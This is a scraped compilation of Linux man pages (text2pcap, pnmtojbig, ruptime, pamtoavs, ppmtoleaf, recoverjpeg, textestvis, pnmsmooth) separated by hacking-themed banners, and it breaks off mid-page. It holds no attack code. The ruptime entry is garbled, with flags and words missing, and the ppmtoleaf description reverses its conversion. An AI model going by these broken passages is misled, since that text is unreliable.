Text2pcap also allows the user to read in dumps of application-level data and insert dummy L2, L3 and L4 headers before each packet. This allows Wireshark or any other full-packet decoder to handle these dumps. If the encapsulation type is Ethernet, the user can elect to insert Ethernet headers, Ethernet and IP, or Ethernet, IP and UDP/TCP/SCTP headers before each packet. The fake headers can also be used with the Raw IP, Raw IPv4, or Raw IPv6 encapsulations, with the Ethernet header omitted. These encapsulation options can be used in both hexdump mode and regex mode.

When <infile> or <outfile> are -, standard input or standard output, respectively, are used.

OPTIONS

-a

Enables ASCII text dump identification. It allows one to identify the start of the ASCII text dump and not include it in the packet even if it looks like HEX. This parameter has no effect in regex mode.

NOTE: Do not enable it if the input file does not contain the ASCII text dump.

-b 2|8|16|64

Specify the base (radix) of the encoding of the packet data in regex mode. The supported options are 2 (binary), 8 (octal), 16 (hexadecimal), and 64 (base64 encoding), with hex as the default. This parameter has no effect in hexdump mode.

-D

Indicates that the text before each input packet may start either with an I or O indicating that the packet is inbound or outbound. If both this flag and the t flag are used, the directional indicator is expected before the time code. This parameter has no effect in regex mode, where the presence of the <dir> capturing group determines whether direction indicators are expected.

Direction indication is stored in the packet headers if the output format supports it (e.g. pcapng), and is also used when generating dummy headers to swap the source and destination addresses and ports as appropriate.

-e <l3pid>

Include a dummy Ethernet header before each packet. Specify the L3PID for the Ethernet header in hex. Use this option if your dump has Layer 3 header and payload (e.g. IP header), but no Layer 2 encapsulation. Example: -e 0x806 to specify an ARP packet.

For IP packets, instead of generating a fake Ethernet header you can also use -E rawip or -l 101 to indicate raw IP encapsulation. Note that raw IP encapsulation does not work for any non-IP Layer 3 packet (e.g. ARP), whereas generating a dummy Ethernet header with -e works for any sort of L3 packet.

-E <encapsulation type>

Sets the packet encapsulation type of the output capture file. text2pcap -E provides a list of the available types; note that not all file formats support all encapsulation types. The default type is ether (Ethernet).

NOTE: This sets the encapsulation type of the output file, but does not translate the packet headers or add additional headers. It is used to specify the encapsulation that matches the input data.

-F <file format>

Sets the file format of the output capture file. Text2pcap can write the file in several formats; text2pcap -F provides a list of the available output formats. The default is the pcapng format.

-h|–help

Print the version number and options and exit.

-i <proto>

Include dummy IP headers before each packet. Specify the IP protocol for the packet in decimal. Use this option if your dump is the payload of an IP packet (i.e. has complete L4 information) but does not have an IP header with each packet. Note that an appropriate Ethernet header is automatically included with each packet as well if the link-layer type is Ethernet. Example: -i 46 to specify an RSVP packet (IP protocol 46). See <https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml> for the complete list of assigned internet protocol numbers.

-l <typenum>

Sets the packet encapsulation type of the output capture file, using pcap link-layer header type numbers. Default is Ethernet (1). See <https://www.tcpdump.org/linktypes.html> for the complete list of possible encapsulations. Example: -l 7 for ARCNet packets encapsulated BSD-style.

-m <max-packet>

Set the maximum packet length, default is 262144. Useful for testing various packet boundaries when only an application level datastream is available. Example:

od -Ax -tx1 -v stream | text2pcap -m1460 -T1234,1234 - stream.pcap

will convert from plain datastream format to a sequence of Ethernet TCP packets.

-N <intf-name>

Specify a name for the interface included when writing a pcapng format file.

-o hex|oct|dec|none

Specify the radix for the offsets (hex, octal, decimal, or none). Defaults to hex. This corresponds to the -A option for od. This parameter has no effect in regex mode.

NOTE: With -o none, only one packet will be created, ignoring any direction indicators or timestamps after the first byte along with any offsets.

-P <dissector>

Include an EXPORTED_PDU header before each packet. Specify, as a string, the dissector to be called for the packet (DISSECTOR_NAME tag). Use this option if your dump is the payload for a single upper layer protocol (so specifying a link layer type would not work) and you wish to create a capture file without a full dummy protocol stack. Automatically sets the link layer type to Wireshark Upper PDU export. Without this option, if the Upper PDU export link layer type (252) is selected the dissector defaults to “data”.

-q

Don’t display the summary of the options selected at the beginning, or the count of packets processed at the end.

-r <regex>

Process the file in regex mode using regex as described above.

NOTE: The regex mode uses memory-mapped I/O and does not work on streams that do not support seeking, like terminals and pipes.

-s <srcport>,<destport>,<tag>

Include dummy SCTP headers before each packet. Specify, in decimal, the source and destination SCTP ports, and verification tag, for the packet. Use this option if your dump is the SCTP payload of a packet but does not include any SCTP, IP or Ethernet headers. Note that appropriate Ethernet and IP headers are automatically also included with each packet. A CRC32C checksum will be put into the SCTP header.

-S <srcport>,<destport>,<ppi>

Include dummy SCTP headers before each packet. Specify, in decimal, the source and destination SCTP ports, and a verification tag of 0, for the packet, and prepend a dummy SCTP DATA chunk header with a payload protocol identifier if ppi. Use this option if your dump is the SCTP payload of a packet but does not include any SCTP, IP or Ethernet headers. Note that appropriate Ethernet and IP headers are automatically included with each packet. A CRC32C checksum will be put into the SCTP header.

-t <timefmt>

Treats the text before the packet as a date/time code; timefmt is a format string supported by strftime(3), supplemented with the field descriptor %f for fractional seconds up to nanoseconds. Example: The time “10:15:14.5476” has the format code “%H:%M:%S.%f” The special format string ISO indicates that the string should be parsed according to the ISO-8601 specification. This parameter is used in regex mode if and only if the <time> capturing group is present.

NOTE: Date/time fields from the current date/time are used as the default for unspecified fields.

-T <srcport>,<destport>

Include dummy TCP headers before each packet. Specify the source and destination TCP ports for the packet in decimal. Use this option if your dump is the TCP payload of a packet but does not include any TCP, IP or Ethernet headers. Note that appropriate Ethernet and IP headers are automatically also included with each packet. Sequence numbers will start at 0.

-u <srcport>,<destport>

Include dummy UDP headers before each packet. Specify the source and destination UDP ports for the packet in decimal. Use this option if your dump is the UDP payload of a packet but does not include any UDP, IP or Ethernet headers. Note that appropriate Ethernet and IP headers are automatically also included with each packet. Example: -u1000,69 to make the packets look like TFTP/UDP packets.

-v|–version

Print the full version information and exit.

-4 <srcip>,<destip>

Prepend dummy IP header with specified IPv4 dest and source address. This option should be accompanied by one of the following options: -i, -s, -S, -T, -u Use this option to apply “custom” IP addresses. Example: -4 10.0.0.1,10.0.0.2 to use 10.0.0.1 and 10.0.0.2 for all IP packets.

-6 <srcip>,<destip>

Prepend dummy IP header with specified IPv6 dest and source address. This option should be accompanied by one of the following options: -i, -s, -S, -T, -u Use this option to apply “custom” IP addresses. Example: -6 2001:db8::b3ff:fe1e:8329,2001:0db8:85a3::8a2e:0370:7334 to use 2001:db8::b3ff:fe1e:8329 and 2001:0db8:85a3::8a2e:0370:7334 for all IP packets.

DIAGNOSTIC OPTIONS

–log-level <level>

Set the active log level. Supported levels in lowest to highest order are “noisy”, “debug”, “info”, “message”, “warning”, “critical”, and “error”. Messages at each level and higher will be printed, for example “warning” prints “warning”, “critical”, and “error” messages and “noisy” prints all messages. Levels are case insensitive.

–log-fatal <level>

Abort the program if any messages are logged at the specified level or higher. For example, “warning” aborts on any “warning”, “critical”, or “error” messages.

–log-domains <list>

Only print messages for the specified log domains, e.g. “GUI,Epan,sshdump”. List of domains must be comma-separated. Can be negated with “!” as the first character (inverts the match).

–log-debug <list>

Force the specified domains to log at the “debug” level. List of domains must be comma-separated. Can be negated with “!” as the first character (inverts the match).

–log-noisy <list>

Force the specified domains to log at the “noisy” level. List of domains must be comma-separated. Can be negated with “!” as the first character (inverts the match).

–log-fatal-domains <list>

Abort the program if any messages are logged for the specified log domains. List of domains must be comma-separated.

–log-file <path>

Write log messages and stderr output to the specified file.

SEE ALSO

od(1), pcap(3), wireshark(1), tshark(1), dumpcap(1), mergecap(1), editcap(1), strftime(3), pcap-filter(7) or tcpdump(8)

NOTES

This is the manual page for Text2pcap 4.2.5. Text2pcap is part of the Wireshark distribution. The latest version of Wireshark can be found at <https://www.wireshark.org>.

AUTHORS

Original Author
Ashok Narayanan <ashokn[AT]cisco.com>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1652 - Linux cli command pnmtojbig

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmtojbig and provides detailed information about the command pnmtojbig, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmtojbig.

.

NAME 🖥️ pnmtojbig 🖥️

PNM to JBIG file converter

SYNOPSIS

pnmtojbig

[options] [input-file [output-file]]

DESCRIPTION

This program is part of Netpbm(1) .

pnmtojbig reads a PBM or PGM image, compresses it, and outputs the image as a JBIG bi-level image entity (BIE) file.

JBIG is a highly effective lossless compression algorithm for bi-level images (one bit per pixel), which is particularly suitable for scanned document pages.

A JBIG encoded image can be stored in several resolutions (progressive mode). These resolution layers can be stored all in one single BIE or they can be stored in several separate BIE files. All resolution layers except the lowest one are stored merely as differences to the next lower resolution layer, because this requires less space than encoding the full image completely every time. Each resolution layer has twice the number of horizontal and vertical pixels than the next lower layer. JBIG files can also store several bits per pixel as separate bitmap planes, and pnmtojbig can read a PGM file and transform it into a multi-bitplane BIE.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmtojbig recognizes the following command line options:

-q
Encode the image in one single resolution layer (sequential mode). This is usually the most efficient compression method. By default, the number of resolution layers is chosen automatically such that the lowest layer image is not larger than 640 × 480 pixels.

-x number
Specify the maximal horizontal size of the lowest resolution layer. The default is 640 pixels.

-y number
Specify the maximal vertical size of the lowest resolution layer. The default is 480 pixels.

-l number
Select the lowest resolution layer that will be written to the BIE. It is possible to store the various resolution layers of a JBIG image in progressive mode into different BIEs. Options -l and -h allow you to select the resolution-layer interval that will appear in the created BIE. The lowest resolution layer has number 0 and this is also the default value. By default, pnmtojbig writes all layers.

-h number
Select the highest resolution layer that will be written to the BIE. By default, pnmtojbig writes all layers. See also option -l.

-b
Use binary values instead of Gray code words in order to encode pixel values in multiple bitplanes. This option has only an effect if the input is a PGM file and if more than one bitplane is produced. Note that the decoder has to make the same selection but cannot determine from the BIE, whether Gray or binary code words were used by the encoder.

-d number
Specify the total number of differential resolution layers into which the input image will be split in addition to the lowest layer. Each additional layer reduces the size of layer 0 by 50 %. This option overrides options -x and -y, which are usually a more comfortable way of selecting the number of resolution layers.

-s number
The JBIG algorithm splits each image into a number of horizontal stripes. This option specifies that each stripe shall have number lines in layer 0. The default value is selected so that approximately 35 stripes will be used for the whole image.

-m number
Select the maximum horizontal offset of the adaptive template pixel. The JBIG encoder uses a number of neighbour pixels in order to get statistical a priori knowledge of the probability, whether the next pixel will be black or white. One single pixel out of this template of context neighbor pixels can be moved around. Especially for dithered images it can be a significant advantage to have one neighbor pixel which has a distance large enough to cover the period of a dither function. By default, the adaptive template pixel can be moved up to 8 pixels away. This encoder go up to 23 pixels, however as decoders are only required to handle at least a distance of 16 pixels by the standard, no higher value than 16 for number is recommended in order to maintain interoperability with other JBIG implementations. The maximal vertical offset of the adaptive template pixel is always zero.

-t number
Encode only the specified number of most significant bit planes. This option allows one to reduce the depth of an input PGM file if not all bits per pixel are needed in the output.

-o number
JBIG separates an image into several horizontal stripes, resolution layers and planes, were each plane contains one bit per pixel. One single stripe in one plane and layer is encoded as a data unit called stripe data entity (SDE) inside the BIE. There are 12 different possible orders in which the SDEs can be stored inside the BIE and number selects which one shall be used. The order of the SDEs is only relevant for applications that want to decode a JBIG file which has not yet completely arrived from e.g. a slow network connection. For instance some applications prefer that the outermost of the three loops (stripes, layers, planes) is over all layers so that all data of the lowest resolution layer is transmitted first.

The following values for number select these loop arrangements for writing the SDEs (outermost loop first):

0
planes, layers, stripes

2
layers, planes, stripes

3
layers, stripes, planes

4
stripes, planes, layers

5
planes, stripes, layers

6
stripes, layers, planes

All loops count starting with zero, however by adding 8 to the above order code, the layer loop can be reversed so that it counts down to zero and then higher resolution layers will be stored before lower layers. Default order is 3 which writes at first all planes of the first stripe and then completes layer 0 before continuing with the next layer and so on.

-p number
This option allows you to activate or deactivate various optional algorithms defined in the JBIG standard. Just add the numbers of the following options which you want to activate in order to get the number value:

4
deterministic prediction (DPON)

8
typical prediction (TPBON)

16
diff. layer typical prediction (TPDON)

64
layer 0 two-line template (LRLTWO)

Except for special applications (like communication with JBIG subset implementations) and for debugging purposes you will normally not want to change anything here. The default is 28, which provides the best compression result.

-c
The adaptive template pixel movement is determined as suggested in annex C of the standard. By default the template change takes place directly in the next line which is most effective. However a few conformance test examples in the standard require the adaptive template change to be delayed until the first line of the next stripe. This option selects this special behavior, which is normally not required except in order to pass some conformance test suite.

-v
After pnmtojbig creates the BIE, it lists a few technical details of the created file (verbose mode).

FORMATS

Most of the format pnmtojbig creates is defined by the JBIG standard.

The standard, however, does not specify which values in the BIE mean white and which mean black. It contains a recommendation that for a single plane image zero mean background and one mean foreground, but the Netpbm formats have no concept of foreground and background. And the standard says nothing about values for multiple plane BIEs.

pnmtojbig follows Markus Kuhn’s implementation of the standard in the pbmtojbg program that comes with his JBIG library: If the BIE is a single plane BIE, zero means white and one means black. If it is a multiple plane BIE, zero means black and the maximal value is white.

STANDARDS

This program implements the JBIG image coding algorithm as specified in ISO/IEC 11544:1993 and ITU-T T.82(1993).

AUTHOR

pnmtojbig is based on the JBIG library by Markus Kuhn, part of his JBIG-KIT package. The pbmtojbg program is part of the JBIG-KIT package. The most recent version of that library and tools set is freely available on the Internet from anonymous ftp server ftp.informatik.uni-erlangen.de in directory pub/doc/ISO/JBIG/.

pnmtojbig is part of the Netpbm package of graphics tools.

SEE ALSO

pnm(1) , jbigtopnm(1)

LICENSE

There was at one time concern about the need for patent licenses to use pnmtojbig, but any relevant patents expired by 2012.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmtojbig.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1653 - Linux cli command ruptime

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ruptime and provides detailed information about the command ruptime, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ruptime.

gives a status line like

for each machine on the local network; these are formed from packets broadcast by each host on the network once a minute.

Machines for which no status report has been received for 11 minutes are shown as being down.

Options:

Users idle an hour or more are not counted unless the

flag is given.

Sort by load average.

Reverses the sort order.

Sort by uptime.

Sort by number of users.

The default listing is sorted by host name.

data files

appeared in

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1654 - Linux cli command pamtoavs

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamtoavs and provides detailed information about the command pamtoavs, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamtoavs.

.

NAME 🖥️ pamtoavs 🖥️

convert a Netpbm image to an AVS X image

SYNOPSIS

pamtoavs [netpbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pamtoavs reads a Netpbm image as input and produces a Stardent AVS X image as output. AVS X images are one of the few image formats Gnuplot v4.2 and later can use.

netpbmfile is the input file, which defaults to Standard Input. Output is always on Standard Output.

Try the following:

    gnuplot> plot 'myimage.avs' binary filetype=avs with rgbimage

See the “Gnuplot manual” (1) for more information.

OPTIONS

There are no command line options defined specifically for pamtoavs, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

AUTHOR

Copyright © 2010 Scott Pakin, [email protected]

SEE ALSO

avstopam(1) , gnuplot , pam(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamtoavs.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1655 - Linux cli command ppmtoleaf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtoleaf and provides detailed information about the command ppmtoleaf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtoleaf.

.

NAME 🖥️ ppmtoleaf 🖥️

convert PPM image to Interleaf image format

SYNOPSIS

ppmtoleaf

[ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

ppmtoleaf reads an Interleaf image file as input and generates a PPM image as output.

Interleaf is a now-defunct (actually purchased ca. 2000 by BroadVision) technical publishing software company.

OPTIONS

There are no command line options defined specifically for ppmtoleaf, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

ppm(1) , pnmquant(1)

AUTHOR

The program is copyright (C) 1994 by Bill O’Donnell.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtoleaf.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1656 - Linux cli command recoverjpeg

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command recoverjpeg and provides detailed information about the command recoverjpeg, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the recoverjpeg.

NAME 🖥️ recoverjpeg 🖥️

recover jpeg pictures from a filesystem image

SYNOPSIS

recoverjpeg [options] device

DESCRIPTION

Recoverjpeg tries to identify jpeg pictures from a filesystem image. To achieve this goal, it scans the filesystem image and looks for a jpeg structure at blocks starting at 512 bytes boundaries.

Salvaged jpeg pictures are stored by default under the name imageXXXXX.jpg where XXXXX is a five digit number starting at zero. If there are more than 100,000 recovered pictures, recoverjpeg will start using six figures numbers and more as soon as needed, but the 100,000 first ones will use a five figures number. Options -f and -i can override this behaviour.

recoverjpeg stores the recovered pictures into the current directory. If you want it to store them elsewhere, just go to the directory you want recoverjpeg to save the images into (using the cd command at the shell prompt) and start recoverjpeg from there, or use the -o option.

Note that device is not necessarily a physical device. It may also be a file containing a copy of the faulty device in order to reduce the actual processing time and the stress imposed to an already defective hardware. dd(1) or ddrescue(1) may be used to create such a working copy.

OPTIONS

-h
Display an help message.

-b blocksize
Set the size of blocks in bytes. On most file systems, setting it to 512 (the default) will work fine as any large file will be stored on 512 bytes boundaries. Setting it to 1 maximize the chances of finding very small files if the filesystems aggregates them (UFS for example) at the expense of a much longer running time.

-d formatstring
Set the directory format string (printf-style, default: use the current directory). When used, 0 will be used for the 100 first images, 1 for the 100 next images, and so on. The goal of this option is to circumvent the directory size limit imposed by some file systems.

-f formatstring
Set the file name format string (printf-style, default: “image%05d.jpg”). It is used with the image index as an integer argument.

-i integerindex
Set the initial index value for image numbering (default: 0).

-m maxsize
Maximum size of extract jpeg files. If a file would be larger than that, it is discarded. The default is 6 MiB.

-o directory
Change the working directory before restoring files. Use this option to restore files into a directory with enough space instead of the current directory. This option can be repeated.

-q
Be quiet and do not display anything.

-r readsize
Set the readsize in bytes. By default, this is 128 MiB. Using a large readsize reduces the number of system calls but consumes more memory. The readsize will automatically be adjusted to be a multiple of the system page size. It must be greater than the maxsize parameter.

-s cutoffsize
Set the cutoff size in bytes. Files smaller than that will be ignored.

-S skipsize
Set the number of bytes to skip at the beginning of the filesystem image. This can be used to resume an interrupted session, in conjunction with -i. The number of bytes may be rounded down to be a multiple of a memory page size in order to improve performances.

-v
Be verbose and describes the process of jpeg identification. By default, if this flag is not used, recoverjpeg will print a progress bar showing how much it has analyzed already and how many jpeg pictures have been recovered.

-V
Display program version and exit.

All the sizes may be suffixed by a k, m, g, or t letter to indicate KiB, MiB, GiB, or TiB. For example, 6m correspond to 6 MiB (6291456 bytes).

EXAMPLES

Recover as many pictures as possible from the memory card located in /dev/sdc:

recoverjpeg /dev/sdc

Do the same thing but ignore files smaller than one megabyte:

recoverjpeg -s 1m /dev/sdc

Recover as many pictures as possible from a crashed ReiserFS file system (which does not necessarily store pictures at block boundaries) in /dev/sdb1:

recoverjpeg -b 1 /dev/sdb1

Do the same thing in a memory constrained environment where no more than 16MB of RAM can be used for the operation:

recoverjpeg -b 1 -r 16m /dev/sdb1

COPYRIGHT

Copyright (c) 2004-2016 Samuel Tardieu <[email protected]>. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

If recoverjpeg saves your day and you liked it, you are welcome to send me the best rescued ones by email (please send only 800x600 versions of the pictures) and authorize me to put them online (indicate which contact information you want me to use for credits).

SEE ALSO

recovermov(1) sort-pictures(1) remove-duplicates(1)

KNOWN BUGS

Recoverjpeg does not include a complete jpeg parser. You may need to use sort-pictures afterwards to identify bogus pictures. Some pictures may be corrupted but have a correct structure; in this case, the image may be garbled. There is no automated way to detect those pictures with a 100% success rate.

AUTHORS

Samuel Tardieu <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1657 - Linux cli command textestvis

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command textestvis and provides detailed information about the command textestvis, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the textestvis.

NAME 🖥️ textestvis 🖥️

visual regression tests for LaTeX

SYNOPSIS

textestvis [-cs] [-e ENGINE] [-d DENSITY] [PATTERN]

textestvis approve [-e ENGINE] [PATTERN]

textestvis compare [-d DENSITY] FILE FILE

textestvis perf [-cs] [-e ENGINE] FILE

DESCRIPTION

Perform visual regression tests for LaTeX documents.

textestvis
Creates PDF files for all tex files matching the pattern and performs a visual regression test. If no pattern is specified, all files in the current directory are tested except for files whose names begin with an underscore.

textestvis approve
Replaces the reference files with the test files.

textestvis compare
Creates a visual diff for two pdf files.

textestvis perf
Measures the time for creating a pdf file from the given tex file.

OPTIONS

-c
Clears cache.

-s
Enables shell escape.

-d DENSITY
Sets density in ppi (default 72).

-e ENGINE
Sets latex engine (default xelatex).

–help
Prints a help message.

–version
Prints version information.

ENVIRONMENT

textestvis requires ImageMagick 7.0 or later.

AUTHOR

textestvis was written by Friedemann Bartels. https://github.com/friedemannbartels

LICENSE

Copyright (c) 2022-2023 Friedemann Bartels. Free use of this software is granted under the terms of the LaTeX Project Public License version 1.3c or later.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1658 - Linux cli command pnmsmooth

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmsmooth and provides detailed information about the command pnmsmooth, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmsmooth.

.

NAME 🖥️ pnmsmooth 🖥️

smooth out an image

SYNOPSIS

pnmsmooth [-width=cols] [-height=rows] [pnmfile] [-size]

Minimum unique abbreviations of options is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pnmsmooth smoothes out an image by replacing each pixel with the average of its width X height neighbors. It is implemented as a program that invokes pnmconvol with an appropriate convolution matrix.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmsmooth recognizes the following command line options:

**-width=**cols
**-height=**rows
These options specify the dimensions of the convolution matrix. Default dimensions are 3 wide and 3 high.

Before Netpbm 10.49 (December 2009), the maximum size of the convolution matrix is limited by the maxval of the image such that width * height * 2 must not exceed the maxval. (use pamdepth to increase the maxval if necessary).

